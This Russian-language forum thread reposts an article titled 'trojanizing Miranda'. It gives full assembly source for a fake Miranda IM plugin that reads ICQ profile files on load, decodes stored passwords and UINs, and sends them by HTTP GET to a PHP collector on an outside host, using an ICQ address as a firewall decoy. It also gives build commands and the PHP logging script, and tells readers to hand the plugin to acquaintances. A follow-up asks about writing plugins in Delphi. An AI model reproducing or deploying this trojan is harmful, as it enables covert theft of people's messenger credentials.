![]() |
Здравствуйте, гость ( Вход | Регистрация )
![]() |
![]()
Сообщение
#1
|
|
![]() Junior Member ![]() Группа: Members Сообщений: 35 Регистрация: 11.4.2005 Из: Заволжье Пользователь №: 371 ![]() |
.::Протрояниваем миранду::.
Бредисловие Как многим известно, в миранде существует система плагинов. Плагины бывают разные - синие, зелёные и красные (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif) Особенностью плагинов является собственно то, что достаточно поместить плагин в папку plugins миранды и... миранда автоматом ПОПРОБУЕТ его подключить. Этого самого "попробует" нам вполне хватит. Вся фишка состоит в том, чтобы закинуть в процедуру инициализации немного своего кода (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif) Ниже я привиду исходный код программы и её web-части, которая, являясь плагином будет отсылать все пароли, а скрипт будет аккуратно их сохронять. Собственно сама программа. ; все необходимые данные. .data capt db "USER32.dll",0 func db "wsprintfA",0 fnmskM db "*.dat",0 requestdata db "GET /m.php?uin=%u&pass=%s HTTP/1.1",0dh,0ah ; НАПРИМЕР так.... db "Host: www.prodexteam.net",0dh,0ah db "Connection: Keep-Alive",0dh,0ah,0dh,0ah,0 sockaddrsz dd sizeof sockaddr_in psevdoicq db "login.icq.com",0 .data? fdataM db 300 dup (?) wsaddr dd ? temppasswd db 50 dup (?) pathsz dd ? hFNDM dd ? hFile1 dd ? hMAPPS dd ? szf dd ? request db 200 dup (?) wsaA WSADATA hSockA dd ? saServer sockaddr_in .code DLLEntry proc xor eax,eax inc eax ret 0Ch DLLEntry endp ; инициализация библиотеки... сюда тоже можно что-нето вставить весёлое. ;================================================== ; Миранда автоматически пытается вызвать эту процедуру из библиотеки. (Если плагин не соответствует, то миранда выгружает его, но к тому времени все пароли будут уже слиты) MirandaPluginInfo proc cmp dword ptr [esp+4],10000h sbb eax,eax not eax and eax,2010C2F8h push eax ; этот кусок я вырезал из настоящего плагина. ; мой код пошёл... invoke GetModuleHandle,ADDR capt invoke GetProcAddress, eax, ADDR func mov wsaddr,eax ; wsprintfA ; MirandaGetUin getmirandapass: invoke WSAStartup,00000101h,offset wsaA mov saServer.sin_family,AF_INET invoke FindFirstFile,addr fnmskM,addr fdataM mov hFNDM,eax inc eax jz endsrch123 fnxt92: invoke socket,AF_INET,SOCK_STREAM,IPPROTO_TCP mov hSockA,eax ; для понта получаем адрес login.icq.com - чтоб firewall'ы cильно не орали. invoke gethostbyname,addr psevdoicq mov saServer.sin_addr,0426F642h ; сетевой адрес сайта, на котором висит PHP скрипт. (в данном случае prodexteam.net) mov saServer.sin_port,5000h ; (IMG:http://forum.iseekyou.im/style_emoticons/default/mega_shok.gif) порт invoke CreateFile,addr fdataM+44,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 inc eax jz endsrch123 dec eax mov hFile1,eax invoke GetFileSize,eax,0 push eax invoke CreateFileMapping,hFile1,0,PAGE_READONLY,0,0,0 mov hMAPPS,eax invoke MapViewOfFile,eax,FILE_MAP_READ,0,0,0 mov szf,eax pop ecx mov al,"P" push edi mov edi,szf scasag: repnz scasb or ecx,ecx jz nextdat cmp dword ptr [edi],"wssa" jne scasag cmp dword ptr [edi+4],0FF64726Fh jne scasag xor ecx,ecx mov cl,byte ptr [edi+8] lea edx,[temppasswd+ecx-1] mov dword ptr [edx],20h decryptM: mov al,byte ptr [edi+ecx+9] sub al,5 mov byte ptr [edx],al dec edx loop decryptM STD mov al,"N" mov ecx,edi sub ecx,szf dec ecx dec ecx scasag1: repnz scasb or ecx,ecx jz nextdat cmp dword ptr [edi-1],044e4955h jne scasag1 mov eax,[edi+3] CLD push offset temppasswd push eax push offset requestdata push offset request call wsaddr ; забиваем данные для отправки скрипту в сети add esp,16 invoke connect,hSockA,addr saServer,sockaddrsz invoke lstrlen,addr request or eax,eax je nextdat invoke send,hSockA,addr request,eax,0 invoke closesocket,hSockA nextdat: invoke UnmapViewOfFile,szf invoke CloseHandle,hMAPPS invoke CloseHandle,hFile1 CLD pop edi invoke FindNextFile,hFNDM,addr fdataM or eax,eax jz endsrch123 cmp eax,18 jnz fnxt92 endsrch123: invoke FindClose,hFNDM errormiranda: pop eax ret MirandaPluginInfo endp ;================================================== end DLLEntry компилируем всю эту байду - ml /c /coff plugin.asm link /SUBSYSTEM:WINDOWS /DLL /DEF:plugin.def plugin.obj в результате получается библиотека размером 2.5 Kb. теперь сам скрипт, который будет обрабатывать пришедшую инфу: <?php $uin=$_GET['uin'] ; $pass=$_GET['pass'] ; $ip=getenv("REMOTE_ADDR"); $uinh=fopen("icquin.htm","a+"); fputs($uinh,"UIN:$uin PASSWORD:$pass IP:$ip "); fclose($uinh); exit; ?> Oстаётся закинуть скрипт на сайт, а плагин раздать знакомым и изредка заглядывать в файл icquins.htm естественно всё вышеописанное это только пример того, что можно сделать... при желании можно например вставить код какого-нето троя. Заключение. Получился троян размером 2.5 кило, не имеющий своего EXE, делающий только то, что нужно - ничего лишнего. Более того - юзверь вообще ничего не заподозрит. После установки плагина единственное, что может произойти, так это то, что файрвол скажет - "Приложение с изменёнными модулями miranda32.exe пытается выйти в интернет". Так кто же не пустит миранду в интернет ??? (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif) На этом заканчиваю. *************************************** вот такая вот интересная статейка (IMG:http://forum.iseekyou.im/style_emoticons/default/smile.gif) взял не помню где ... лежала на винте .. вот и решил поинтересоваться реальный ли способ в ней описан ?? |
|
|
![]() |
![]()
Сообщение
#2
|
|
![]() Junior Member ![]() Группа: Members Сообщений: 10 Регистрация: 26.6.2005 Из: C:\WINDOWS\system32 Пользователь №: 1341 ![]() |
А мона плагины на Delphi писать???
|
|
|
![]() ![]() |
Текстовая версия | Сейчас: 27th June 2025 - 17:59 |